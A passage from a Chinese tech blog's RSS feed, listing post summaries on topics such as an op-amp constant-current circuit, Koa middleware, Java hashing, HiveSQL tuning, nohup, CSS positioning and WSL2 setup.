      <description>运放 + MOS管构成的恒流电路分析 先看下下面的电路，想知道这个电路的原理，可以参考: link&#xA;这里使用的&#xA;运放是 LM358&#xA;mos管是2N6755 (Nmos)&#xA;想让其能够输出 1A 的恒流 （当然恒流限定了所带负载范围，下面说）&#xA;设计恒定电流为： I= V2/R3 = 2.5/2.5 = 1 A&#xA;R2为负载，运放供电电源为15V&#xA;先来看下这个电路的带负载能力，见下图：&#xA;可以看出，要想让其恒定输出1A电流，负载则不能大于20Ω，即R2不能大于20Ω，因为受到电源V3 （24V）的限制。想让带负载能力增强，增大电源V3也是一种办法。&#xA;正常工作时，电源V3的电压，一部分落在负载R2上，一部分落在电阻R3上，剩下的全都落在MOS管的上&#xA;这里为了使电路能够正常输出1A恒定电流，将R2修改为 15Ω，如下图所示:&#xA;VM1测量 MOS电压 ：6.49V&#xA;VM2测量 R2电压：15.01V&#xA;VM3测量 R3电压：2.5V&#xA;AM1测量 干路电流：1A&#xA;可知：6.49+ 15.01+2.5 = 24 V&#xA;说明&#xA;UGS = 3.66V&#xA;手册参数&#xA;实用环境器件参数选择 承接上文的参数及计算结果现在来计算下各器件功率：&#xA;R2 : P = 15.01 *1 = 15 W&#xA;电阻功率很大，发热厉害，当然这里用的是电阻，实际使用可能是别的非电阻类的负载。是否适用，根据负载额定功率而定。&#xA;R3: P = 2.5*1 = 2.5W&#xA;功率适中，选型需要选择功率电路，首选水泥电阻，功率保留50%余量&#xA;MOS: P = 6.</description>
    </item>
    <item>
      <title>KoaJS</title>
      <link>https://bchobby.github.io/posts/bd2238923996fe0f7915aa4b7486dc9a/</link>
      <pubDate>Thu, 14 Jul 2022 17:39:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bd2238923996fe0f7915aa4b7486dc9a/</guid>
      <description>前言 koa致力于成为一个更小、更富有表现力、更健壮的、更轻量的web开发框架。因为它所有功能都通过插件实现，这种插拔式的架构设计模式，很符合unix哲学。&#xA;一个简单的服务，如下：&#xA;const Koa = require(&#39;koa&#39;) let app = new Koa() app.use((ctx, next) =&amp;gt; { console.log(ctx) }) app.listen(4000) 复制代码 然后在浏览器端打开http://127.0.0.1:4000即可访问&#xA;若没有指定返回body，koa默认处理成了Not Found&#xA;本文内容：&#xA;中间件原理（结合代码） 原理中间件实现思路理解上述洋葱模型阅读源码 app.listen()ctx挂载内容 context.jsrequest.jsresponse.js挂载ctxnext构建的洋葱模型 app.use((ctx, next) =&amp;lt; { ... })中间件含异步代码如何保证正确执行返回报文解决多次调用next导致混乱问题基于事件驱动去处理异常koa2, koa1 和 express区别 一、中间件原理（结合代码） 原理 中间件执行就像穿越洋葱一样，最早use的中间件，就放在最外层。处理顺序横穿洋葱，从左到右，左边接收一个request，右边输出返回response；一般的中间件都会执行两次，调用next之前为第一次，调用next时把控制传递给下游的下一个中间件。当下游不再有中间件或者没有执行next函数时，就将依次恢复上游中间件的行为，让上游中间件执行next之后的代码； 如下代码：&#xA;const Koa = require(&#39;koa&#39;) const app = new Koa() app.use((ctx, next) =&amp;gt; { console.log(1) next() console.log(3) }) app.use((ctx) =&amp;gt; { console.log(2) }) app.listen(9001) # 执行结果是1=&amp;gt;2=&amp;gt;3 复制代码 中间件实现思路 # 注意其中的compose函数，这个函数是实现中间件洋葱模型的关键 // 场景模拟 // 异步 promise 模拟 const delay = async () =&amp;gt; { return new Promise((resolve, reject) =&amp;gt; { setTimeout(() =&amp;gt; { console.</description>
    </item>
    <item>
      <title>error2001/2019: 无法解析的外部符号_imp_xxxxxxx</title>
      <link>https://bchobby.github.io/posts/8bf2b49f5ab5d9d7efa276b4a3bc39c7/</link>
      <pubDate>Thu, 14 Jul 2022 16:54:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8bf2b49f5ab5d9d7efa276b4a3bc39c7/</guid>
      <description>整理......&#xA;当我的项目有很多个依赖项，而且这些依赖项的lib都需要我自己编译；&#xA;在编译依赖.lib时，我没有注意其他，只是一通make,当运行我自己的项目时，却遇到了“无法解析的外部符号_imp_xxxxxxxxx”问题；&#xA;我的解决方法：&#xA;1.在编译.lib时，将所有的.lib库统一编译平台，x86/x64_release/debug，并将项目也和lib统一；&#xA;2.统一字符集，都将其修改为“使用多字节字符集”，当然你也可以选择其他，重要的是要统一；&#xA;3.运行库要统一（MT）,也可以选择其他；&#xA;重要的是，以上三种都要一样，包括.lib和项目；</description>
    </item>
    <item>
      <title>Hash值生成java算法</title>
      <link>https://bchobby.github.io/posts/777fab818a2a56ad0cd99f0829c4887b/</link>
      <pubDate>Thu, 14 Jul 2022 16:54:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/777fab818a2a56ad0cd99f0829c4887b/</guid>
      <description>java加密算法hash值生成，了解到的三种方式&#xA;1.MD：信息摘要算法 java代码Utils：&#xA;public static String MD5Encode(String origin){ try{ MessageDigest md = MessageDigest.getInstance(&#34;MD5&#34;); // return Hex.encodeHexString(md.digest(origin.getBytes(DE_CHARSET))); return Base64.encodeBase64String(md.digest(origin.getBytes(DE_CHARSET))); }catch(NoSuchAlgorithmException ex){ ex.printStackTrace(); } return null; } 2.SHA：安全散列算法 java代码Utils:&#xA;import java.math.BigInteger; import java.security.MessageDigest; public class SHAUtils { private static final String KEY_SHA = &#34;SHA&#34;; public static String encodeSHA(String content){ byte[] inputData = content.getBytes(); try { MessageDigest messageDigest = MessageDigest.getInstance(KEY_SHA); messageDigest.update(inputData); BigInteger sha = new BigInteger(messageDigest.digest()); return sha.toString(32); } catch (Exception e) { e.</description>
    </item>
    <item>
      <title>基于STM32CubeIDE的LittleVGL开发环境搭建</title>
      <link>https://bchobby.github.io/posts/7cb81675926bdc8065948e03621b7141/</link>
      <pubDate>Thu, 14 Jul 2022 16:34:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7cb81675926bdc8065948e03621b7141/</guid>
      <description>LVGL版本号release-v8.1&#xA;LVGL版本号release-v8.1&#xA;开发环境STM32CubeIDE&#xA;仿真环境Code::Block&#xA;开发工具包包含lv_demos、lv_drivers、lvgl&#xA;本文包含基于STM32CubeIDE的LittleVGL的开发环境搭建的所需资源下载连接、开发环境搭建步骤。&#xA;本文仅包含环境搭建，不包括应用开发。&#xA;如有问题，欢迎讨论。&#xA;基于STM32CubeIDE的LittleVGL的开发环境搭建</description>
    </item>
    <item>
      <title>vscode报错：无法将“node.exe”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。请检查名称的拼写，如果包括路径，请确保路径正确，然后再试一次</title>
      <link>https://bchobby.github.io/posts/f809c76a781e730e49300a4c678bd865/</link>
      <pubDate>Thu, 14 Jul 2022 16:22:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f809c76a781e730e49300a4c678bd865/</guid>
      <description>1.检查环境变量&#xA;用户环境变量已配置：&#xA;系统环境变量已配置node安装目录：&#xA;2.如果以上环境变量都正确，关闭所有vscode，重新打开一个vscode，执行yarn即可</description>
    </item>
    <item>
      <title>【高阶系列二】数据清洗和准备——字符串操作</title>
      <link>https://bchobby.github.io/posts/eea0db490259c2f35b794c120571c941/</link>
      <pubDate>Thu, 14 Jul 2022 16:14:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eea0db490259c2f35b794c120571c941/</guid>
      <description>字符串处理是数据清洗中常见的操作。在python中有两种方式进行字符串操作，一种是内置的字符串方法，一种是正则表达式工具——re模块。&#xA;目录&#xA;一、Python内置的字符串方法&#xA;二、正则表达式（Regular Expression）&#xA;2.1 普通字符&#xA;2.2 元字符（特殊字符）&#xA;2.2.1 单个字符匹配&#xA;2.2.2 预定义字符集&#xA;2.2.3 字符次数匹配——量词&#xA;2.2.4 边界匹配&#xA;2.2.5 逻辑与分组&#xA;2.2.6 特殊构造&#xA;2.2.7 贪婪模式与非贪婪模式&#xA;三、python正则表达式工具-re模块&#xA;3.1 Re模块对象属性&#xA;3.1.1 re模块对象&#xA;3.1.2 模式对象的方法和属性&#xA;3.1.3 匹配对象的方法和属性&#xA;3.1.4 实例&#xA;3.2 re模块的函数&#xA;四、向量化字符串函数&#xA;4.1 应用背景&#xA;4.2 pd.Series.str&#xA;4.3 Series.str函数&#xA;4.3.1 大小写转换&#xA;4.3.2 字符串填充&#xA;4.3.3. 字符串编码&#xA;4.3.4 字符串查找&#xA;4.3.5 解决判断问题&#xA;4.3.6 字符串修剪&#xA;4.3.7 分割字符串&#xA;4.3.8 字符串替换&#xA;4.3.9 统计字符函数&#xA;一、Python内置的字符串方法 方法说明示例string.count(sub)返回子串sub在字符串string中的出现次数，其中，string\sub均为字符串str string=&#39;a,bo,guido&#39;&#xA;print(type(string),string.count(&#39;o&#39;))&#xA;[out]: &amp;lt;class &#39;str&#39;&amp;gt; 2</description>
    </item>
    <item>
      <title>如何在PD虚拟机中开启系统的嵌套虚拟化功能？</title>
      <link>https://bchobby.github.io/posts/9cd511f5aa46d563dd332267f7f91804/</link>
      <pubDate>Thu, 14 Jul 2022 14:45:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9cd511f5aa46d563dd332267f7f91804/</guid>
      <description>PD虚拟机是一款可以在Mac电脑中设置Windows系统的应用软件。在ParallelsDesktop虚拟机中如何开启系统的嵌套虚拟化功能？下面我们分享一下具体的操作步骤。&#xA;1、打开Mac电脑中ParallelsDesktop虚拟机，&#xA;2、选择虚拟系统的“设置”选项，&#xA;3、在弹出的窗口中，点击“硬件”标签；&#xA;4、进入硬件的界面后，点击左边列表里的“CPU与内存”；&#xA;5、然后点击“高级设置”，再勾选上“启用nested虚拟化”，&#xA;6、最后，在弹出的提示窗口中，点击“是”按钮即可完成。&#xA;以上就是小编带来的PD虚拟机教程：如何在PD虚拟机中开启系统的嵌套虚拟化功能，还有哪些关于PD虚拟机的操作问题，欢迎来交流。</description>
    </item>
    <item>
      <title>大数据培训如何优化HiveSQL</title>
      <link>https://bchobby.github.io/posts/50e6814311ffd4f56288c84ae8a42fd7/</link>
      <pubDate>Thu, 14 Jul 2022 14:02:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50e6814311ffd4f56288c84ae8a42fd7/</guid>
      <description>Hive作为大数据平台举足轻重的框架，以其稳定性和简单易用性也成为当前构建企业级数据仓库时使用最多的框架之一。&#xA;但是如果我们只局限于会使用Hive，而不考虑性能问题，就难搭建出一个完美的数仓，所以Hive性能调优是我们大数据从业者必须掌握的技能。本文将给大家讲解Hive性能调优的一些方法及技巧。&#xA;Hive性能调优的方式&#xA;为什么都说性能优化这项工作是比较难的，因为一项技术的优化，必然是一项综合性的工作，它是多门技术的结合。我们如果只局限于一种技术，那么肯定做不好优化的。&#xA;下面将从多个完全不同的角度来介绍Hive优化的多样性，我们先来一起感受下。&#xA;1. SQL语句优化&#xA;SQL语句优化涉及到的内容太多，因篇幅有限，不能一一介绍到，所以就拿几个典型举例，让大家学到这种思想，以后遇到类似调优问题可以往这几个方面多思考下。&#xA;1. union all&#xA;insert into table stu partition(tp)&#xA;select s_age,max(s_birth) stat,&#39;max&#39; tp&#xA;from stu_ori&#xA;group by s_age&#xA;union all&#xA;insert into table stu partition(tp)&#xA;select s_age,min(s_birth) stat,&#39;min&#39; tp&#xA;from stu_ori&#xA;group by s_age;&#xA;我们简单分析上面的SQl语句，就是将每个年龄的最大和最小的生日获取出来放到同一张表中，union all 前后的两个语句都是对同一张表按照s_age进行分组，然后分别取最大值和最小值。对同一张表相同的字段进行两次分组，这造成了极大浪费，我们能不能改造下呢，当然是可以的，为大家介绍一个语法：from ... insert into ... ，这个语法将from前置，作用就是使用一张表，可以进行多次插入操作：&#xA;--开启动态分区&#xA;set hive.exec.dynamic.partition=true;&#xA;set hive.exec.dynamic.partition.mode=nonstrict;&#xA;from stu_ori&#xA;insert into table stu partition(tp)&#xA;select s_age,max(s_birth) stat,&#39;max&#39; tp&#xA;group by s_age&#xA;insert into table stu partition(tp)</description>
    </item>
    <item>
      <title>vue 一键点击下载对应图片</title>
      <link>https://bchobby.github.io/posts/51fa51c23909cefa15401349f6b5eda8/</link>
      <pubDate>Thu, 14 Jul 2022 11:38:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/51fa51c23909cefa15401349f6b5eda8/</guid>
      <description>可能会遇到 图片的预览大图和下载功能，此代码为下载图片的功能&#xA;//name 为传入的想下载的图片的名称 handleClick (name) { const image = new Image() image.setAttribute(&#39;crossOrigin&#39;, &#39;anonymous&#39;) image.onload = function () { const canvas = document.createElement(&#39;canvas&#39;) canvas.width = image.width canvas.height = image.height const context = canvas.getContext(&#39;2d&#39;) context.drawImage(image, 0, 0, image.width, image.height) const url = canvas.toDataURL(&#39;image/png&#39;) // 得到图片的base64编码数据 const a = document.createElement(&#39;a&#39;) // 生成一个a元素 const event = new MouseEvent(&#39;click&#39;) // 创建一个单击事件 a.download = name || &#39;下载&#39; // 设置图片名称 a.href = url // 将生成的URL设置为a.href属性 a.</description>
    </item>
    <item>
      <title>vue 文件里面的.native有波浪线报警问题</title>
      <link>https://bchobby.github.io/posts/2fc654d9ce457e05913cad8412cbafc8/</link>
      <pubDate>Thu, 14 Jul 2022 11:36:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2fc654d9ce457e05913cad8412cbafc8/</guid>
      <description>如果你同时安装了Vetur插件和ESlint插件，建议禁用Vetur插件后重试一下，听说Vetur插件和ESlint插件同时开启，ESlint插件不会生效哦</description>
    </item>
    <item>
      <title>IO流、字节流和字符流</title>
      <link>https://bchobby.github.io/posts/89f32ab91ad9966e245a1338de005dd7/</link>
      <pubDate>Thu, 14 Jul 2022 10:56:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/89f32ab91ad9966e245a1338de005dd7/</guid>
      <description>Java 一、IO流1.1 概念1.2 分类1.3 IO流的父类 二、字节流2.1 概念2.2 OutputStream2.2.1 常用方法2.2.2 FileOutputStream类2.2.2.1 构造方法2.2.2.2 输出字符串到文件2.2.2.3 追加输入字符串2.2.2.4 写出换行 2.3 InputStream2.3.1 常用方法2.3.2 FileInputStrean2.3.2.1 构造方法2.3.2.2 读取文件所有内容并输出至控制台2.3.2.3 文件复制 三、字符流3.1 概念3.2 Writer3.2.1常用方法3.2.2 FileWriter3.2.2.1 构造方法3.2.2.2 读取文档输出控制台并复制 3.3 Reader3.3.1 常用方法3.3.2 FileReader3.3.2.1 构造方法3.3.2.2 读取文本文档内容并输出至控制台 一、IO流 1.1 概念 把这种数据的传输，可以看做是一种数据的流动，按照流动的方向，以内存为基准，分为输入input 和输出output ，即流向内存是输入流，流出内存的输出流。&#xA;Java中I/O操作主要是指使用java.io包下的内容，进行输入、输出操作。输入也叫做读取数据，输出也叫做作写出数据。&#xA;1.2 分类 根据数据的流向分为：输入流和输出流。&#xA;输入流 ：把数据从其他设备上读取到内存中的流。输出流 ：把数据从内存 中写出到其他设备上的流。 格局数据的类型分为：字节流和字符流。&#xA;字节流 ：以字节为单位，读写数据的流。字符流 ：以字符为单位，读写数据的流。 1.3 IO流的父类 名称输入流输出流字节流字节输入流InputStream字节输出流OutputStream字符流字符输入流Reader字符输出流Writer 这些类都是抽象类，在实际的开发过程中使用的是相应的子类。&#xA;二、字节流 2.1 概念 一切文件数据(文本、图片、视频等)在存储时，都是以二进制数字的形式保存，都一个一个的字节，那么传输时一样如此。所以，字节流可以传输任意文件数据。在操作流的时候，我们要时刻明确，无论使用什么样的流对象，底层传输的始终为二进制数据。&#xA;2.2 OutputStream java.io.OutputStream 抽象类是表示字节输出流的所有类的超类，将指定的字节信息写出到目的地。它定义了字节输出流的基本共性功能方法。&#xA;2.2.1 常用方法 方法名说明public abstract void write(int b)将指定的字节输出流。public void write(byte[] b)将 b.</description>
    </item>
    <item>
      <title>ag-gride-vue滚动条调整</title>
      <link>https://bchobby.github.io/posts/5d826ad5594ce17b4ee6cf0d6d6af56d/</link>
      <pubDate>Thu, 14 Jul 2022 09:23:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d826ad5594ce17b4ee6cf0d6d6af56d/</guid>
      <description> ::v-deep .ag-layout-normal { overflow-y: overlay; } ::v-deep .ag-theme-alpine-dark:hover .ag-body-horizontal-scroll-viewport { margin-right: -8px; } </description>
    </item>
    <item>
      <title>nohup命令--linux后台运行程序并实时查看输出</title>
      <link>https://bchobby.github.io/posts/aa706d5a1ba539f0c398ab46b9c4a1c2/</link>
      <pubDate>Thu, 14 Jul 2022 00:46:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa706d5a1ba539f0c398ab46b9c4a1c2/</guid>
      <description>在启动linux服务器的weblogic时，一般是在bin 目录下面执行nohup ./startWeblogic&amp;amp;&#xA;那么它与普通的./startWeblogic有什么区别呢？&#xA;先解释nohup这个命令&#xA;以下是官方的解释：&#xA;nohup 命令&#xA;用途：不挂断地运行命令。&#xA;语法：nohup Command [ Arg … ] [　&amp;amp; ]&#xA;描述：nohup 命令运行由 Command 参数和任何相关的 Arg 参数指定的命令，忽略所有挂断（SIGHUP）信号。在注销后使用 nohup 命令运行后台中的程序。要运行后台中的 nohup 命令，添加 &amp;amp; （ 表示”and”的符号）到命令的尾部。&#xA;无论是否将 nohup 命令的输出重定向到终端，输出都将附加到当前目录的 nohup.out 文件中。如果当前目录的 nohup.out 文件不可写，输出重定向到 $HOME/nohup.out 文件中。如果没有文件能创建或打开以用于追加，那么 Command 参数指定的命令不可调用。如果标准错误是一个终端，那么把指定的命令写给标准错误的所有输出作为标准输出重定向到相同的文件描述符。&#xA;退出状态：该命令返回下列出口值：&#xA;126 可以查找但不能调用 Command 参数指定的命令。&#xA;127 nohup 命令发生错误或不能查找由 Command 参数指定的命令。&#xA;否则，nohup 命令的退出状态是 Command 参数指定命令的退出状态。&#xA;nohup命令及其输出文件&#xA;nohup命令：如果你正在运行一个进程，而且你觉得在退出帐户时该进程还不会结束，那么可以使用nohup命令。该命令可以在你退出帐户/关闭终端之后继续运行相应的进程。nohup就是不挂起的意思( n ohang up)。&#xA;该命令的一般形式为：nohup command &amp;amp;&#xA;使用nohup命令提交作业&#xA;如果使用nohup命令提交作业，那么在缺省情况下该作业的所有输出都被重定向到一个名为nohup.out的文件中，除非另外指定了输出文件：&#xA;nohup command &amp;gt; myout.</description>
    </item>
    <item>
      <title>css定位&amp;锚点</title>
      <link>https://bchobby.github.io/posts/ab7bcf76d2606dc8ddd187a5fedd5808/</link>
      <pubDate>Wed, 13 Jul 2022 22:38:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ab7bcf76d2606dc8ddd187a5fedd5808/</guid>
      <description>1.定位的作用:控制元素在浏览器中的位置&#xA;2.生活中的案例&#xA;- 把大象放进冰箱需要几步:打开、放进去、关闭&#xA;- 把志强吊在投影仪上听课:绑起来、吊上去、嘲笑他&#xA;3.定位需要的条件&#xA;- 大象:需要移动位置的对象&#xA;- 冰箱:参照物&#xA;- 方向:前端方向&#xA;4.定位的属性:position 定位、位置&#xA;5.定位的属性值&#xA;- static 默认值 静态定位&#xA;- relative 相对定位&#xA;- absolute 绝对定位&#xA;- fixed 固定定位&#xA;- sticky 粘性定位&#xA;相对定位属性的使用&#xA;1.属性:position&#xA;2.属性值:relative&#xA;3.相对定位属性的特点&#xA;- 相对定位的参照物是元素初始位置&#xA;- 不会脱离文档流,初始布局不会被破坏&#xA;4.之前学习的移动元素方法&#xA;- margin外边距:需要和父级包含框相接触&#xA;- 定位没有方向上的限制&#xA;5.作用:为了给绝对定位提供参照物的(工具人)&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;ie=edge&#34;&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;style&amp;gt; div{ width: 200px; height: 200px; background: greenyellow; margin: 0 auto; position: relative; top: 100px; left: 100px } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div&amp;gt;文本内容&amp;lt;/div&amp;gt; 文本 &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 效果图：</description>
    </item>
    <item>
      <title>方法中创建线程池，方法结束后线程池会被垃圾回收吗？</title>
      <link>https://bchobby.github.io/posts/af9c5597c2538c56ec54a46152ed95e6/</link>
      <pubDate>Wed, 13 Jul 2022 21:51:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/af9c5597c2538c56ec54a46152ed95e6/</guid>
      <description>一般的线程池写法是 放在成员变量级别的, 不会是局部变量&#xA;在最近的一次job改造中发现一个问题, 前人在方法里创建了线程池, 然后执行业务逻辑&#xA;public static void main(String[] args) throws Exception { new xxx().runJob(); System.out.println(&#34;end...&#34; + 1); new xxx().runJob(); System.out.println(&#34;end...&#34; + 2); } public void runJob(){ ThreadPoolExecutor threadPoolExecutor = new ThreadPoolExecutor(5, 5, 10L,TimeUnit.SECONDS, new LinkedBlockingQueue&amp;lt;&amp;gt;(2000)); // 是否允许核心线程超时 关闭 // threadPoolExecutor.allowCoreThreadTimeOut(true); for (int taskNum = 0; taskNum &amp;lt; 5; taskNum++) { // 提交5个任务 到线程池 threadPoolExecutor.execute(() -&amp;gt; { // 任务的内容是, 5秒内, 每秒打印一次序号 for (int i = 0; i &amp;lt; 5; i++) { try { Thread.</description>
    </item>
    <item>
      <title>js-cookie 失效问题</title>
      <link>https://bchobby.github.io/posts/052bf60ded54b116a9aea455a2eb22c7/</link>
      <pubDate>Wed, 13 Jul 2022 19:48:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/052bf60ded54b116a9aea455a2eb22c7/</guid>
      <description> 一般情况，可能不会出现这个失效问题，如果你遇到了这种问题，我的建议是检查一下，开发者工具里 =&amp;gt; Application =&amp;gt; Cookies。 注意：是Cookies哦，不是Local Storage 也不是Session Storage ，不要看错啦！ </description>
    </item>
    <item>
      <title>关于a-modal提示弹窗的经验</title>
      <link>https://bchobby.github.io/posts/24332bad552359a9bed23366c0b093c5/</link>
      <pubDate>Wed, 13 Jul 2022 19:25:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/24332bad552359a9bed23366c0b093c5/</guid>
      <description>我负责的是一个支付弹窗页面，类似百度网盘的会员购买界面。我以UI图为参考去除了弹窗右下角的确认和取消按钮。方法在开发文档中有显示：footer=“null”,footer为脚尾文件展示，赋值为空则什么也不显示。&#xA;&amp;lt;a-modal v-model=&#34;visible&#34; :footer=&#34;null&#34;&amp;gt; 由于存在不同套餐的选择情况，所以我是用对div进行分隔，在对弹窗背景颜色进行填充时，我通过网页F12观察得知弹窗默认样式ant-modal-content，可以通过增加div结构来进行样式覆盖，不过此处太麻烦了，所以我选择通过deep方法改变封装过的弹窗默认样式。&#xA;::v-deep .ant-modal-content{ background-color: #F5F6FA; height: 410px; } 该支付弹窗拥有点击支付套餐选项改变样式的功能，此处添加了动态样式&#xA;:class。设置了原本change样式和点击后呈现的changes样式，isActive初始值为1，当点击到item.id的套餐选项时，会进行判断isAcitive的值是否为点击选项的id值，如果是则进行样式变换。通过点击事件onclick实现。&#xA;&amp;lt;div style=&#34;cursor: pointer&#34; @click=&#34;onClick(item)&#34; :class=&#34;isActive == item.id?&#39;changes&#39;:&#39;change&#39;&#34;&amp;gt; &amp;lt;div style=&#34;font-size: 16px;color: #333333;font-weight: 500&#34;&amp;gt;{{ item.day }}&amp;lt;/div&amp;gt; &amp;lt;div style=&#34;color: #C79745;font-size: 24px;font-weight: 600&#34;&amp;gt;{{ item.pay }}&amp;lt;/div&amp;gt; &amp;lt;div style=&#34;text-decoration:line-through;color: #999999&#34;&amp;gt;{{ item.pays }}&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; data() { return { isActive: 1, }; }, .change { width: 150px; height: 100px; border: 1px; border-radius: 10px; background-color: #FFFFFF; text-align: center; } .changes { width: 150px; height: 100px; border: 1px solid #C79745; border-radius: 10px; background-color: #FFEED0; text-align: center; } 实现复选框点击事件改变文本框内文字和按钮颜色功能：</description>
    </item>
    <item>
      <title>echarts图表y轴数据设置等间距分割</title>
      <link>https://bchobby.github.io/posts/648ef9a11a99cb688207197756a330a4/</link>
      <pubDate>Wed, 13 Jul 2022 17:10:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/648ef9a11a99cb688207197756a330a4/</guid>
      <description>如图所示，y轴数据分为5等分。&#xA;使用的echarts属性为yAxis.min、yAxis.max、yAxis.splitNumber、yAxis.interval。&#xA;计算出当前数据的最大值以及最小值，然后用（最大值-最小值）/ 分割段数 计算出y轴的分割间隔。&#xA;如果y轴最小值为固定值0，则可直接设置min:0;，因为数据中如果最小值不为0，则minVal不为0，y轴的0刻度线的文本显示的就不是0。如下图，最小值为309：&#xA;/** * flowData为数据数组对象 */ // 获取坐标轴刻度最大值 const maxVal = Number(Math.max(...flowData)); // 获取坐标轴刻度最小值 const minVal = Number(Math.min(...flowData)); // 计算坐标轴分割间隔 let interval= (maxVal - minVal) / 5; const options = { yAxis: [ { type: &#34;value&#34;, position: &#34;left&#34;, min: minVal, // 坐标轴刻度最小值。 max: maxVal, // 坐标轴刻度最大值。 splitNumber: 5, // 坐标轴的分割段数，是一个预估值，实际显示会根据数据稍作调整。 interval: interval, // 强制设置坐标轴分割间隔。 nameTextStyle: { color: &#34;#666&#34;, fontSize: 12, lineHeight: 40, }, axisLabel: { color: &#34;</description>
    </item>
    <item>
      <title>VSCode 中文乱码设置</title>
      <link>https://bchobby.github.io/posts/2f753e10e96b7d64b71ec3e91ab15a35/</link>
      <pubDate>Wed, 13 Jul 2022 14:55:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2f753e10e96b7d64b71ec3e91ab15a35/</guid>
      <description>vscode中文乱码怎么解决?vscode是一款跨平台源代码编辑器，能够在桌面上运行，并且能够用途windows、macOS以及Linux。但是有不少小伙伴们在使用vscode时，输入输出的却是中文代码，也不知道如何解决，那么今天小编就来告诉大家vscode中文乱码怎么解决，一起来看看吧。&#xA;vscode中文乱码怎么解决&#xA;1、打开文件出现乱码&#xA;方法一、①先“打开文件”，然后点击“首选项”，接着点击“设置”;&#xA;②接着在搜索栏中输入Files:Auto Guess Encoding ，将其勾选即可。&#xA;方法二、&#xA;搜索插件GBKtoUTF8，并将其安装。&#xA;方法三、&#xA;这是最简单的方法，点击右下角utf8，将其换成GBK.&#xA;2、终端输出出现乱码&#xA;方法一、&#xA;在终端输入 chcp 查看编码 936代表GBK,65001代表utf8,然后输入chcp 65001即可切换。&#xA;方法二、&#xA;1、依次点击“文件”–“首选项”–“设置”–“用户选项”–“功能”–“终端”–“settings.json”;&#xA;2、然后在其中加入以下代码，并点击保存：&#xA;&#34;terminal.integrated.fontFamily&#34;: &#34;Lucida Console&#34;,&#xA;&#34;[cpp]&#34;: {&#xA;&#34;files.encoding&#34;: &#34;gbk&#34;&#xA;},&#xA;&#34;[c]&#34;: {&#xA;&#34;files.encoding&#34;: &#34;gbk&#34;&#xA;}</description>
    </item>
    <item>
      <title>Windows10安装WSL2</title>
      <link>https://bchobby.github.io/posts/ea76dc965f9bff4bf96db2f271ce3a27/</link>
      <pubDate>Wed, 13 Jul 2022 13:37:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea76dc965f9bff4bf96db2f271ce3a27/</guid>
      <description>1、检查 Windows CPU 虚拟化（http://t.csdn.cn/mC1IG）&#xA;2、启用适用于 Linux 的 Windows 子系统（http://t.csdn.cn/PyIla）&#xA;3、更新 WSL2 的 Linux 内核更新包&#xA;wsl下载链接：https://pan.baidu.com/s/1cbmRoJSLssf0iIPDUDvsdw?pwd=1234&#xA;下载后直接安装。&#xA;4、安装 Linux 分发版&#xA;1.打开 Microsoft Store，搜索 Ubuntu 并下载&#xA;2.点击启动&#xA;END&#xA;听说这个启动有可能报错 “0x800706ba” 或 “参考的对象类型不支持尝试的操作” 。&#xA;但是我没有，所以我就不负责解决了，CSDN有相关文章。&#xA;汪苏泷2就安好啦~</description>
    </item>
    <item>
      <title>mac端addr2line的NDK位置和使用</title>
      <link>https://bchobby.github.io/posts/fdd3236fc7fcd1d2bbfce90b39d4874c/</link>
      <pubDate>Wed, 13 Jul 2022 12:23:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fdd3236fc7fcd1d2bbfce90b39d4874c/</guid>
      <description>本人mac上在android NDK里的位置如下，可以写到环境变量里&#xA;arm32:&#xA;export PATH=${PATH}:/Users/admin/Library/Android/sdk/ndk/21.3.6528147/toolchains/arm-linux-androideabi-4.9/prebuilt/darwin-x86_64/bin&#xA;arm64:&#xA;export PATH=${PATH}:/Users/admin/Library/Android/sdk/ndk/21.3.6528147/toolchains/aarch64-linux-android-4.9/prebuilt/darwin-x86_64/bin&#xA;使用方法：&#xA;arm-linux-androideabi-addr2line -C -f -e lib*.so 0003deb4&#xA;aarch64-linux-android-addr2line -C -f -e lib*.so 0003deb4&#xA;其中，0003deb4为堆栈信息中pc的值，可以定位到具体哪一行崩溃</description>
    </item>
    <item>
      <title>oracle集群概念详解</title>
      <link>https://bchobby.github.io/posts/ec2dcd2753e559a1467c8d4c17c1031d/</link>
      <pubDate>Wed, 13 Jul 2022 11:52:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec2dcd2753e559a1467c8d4c17c1031d/</guid>
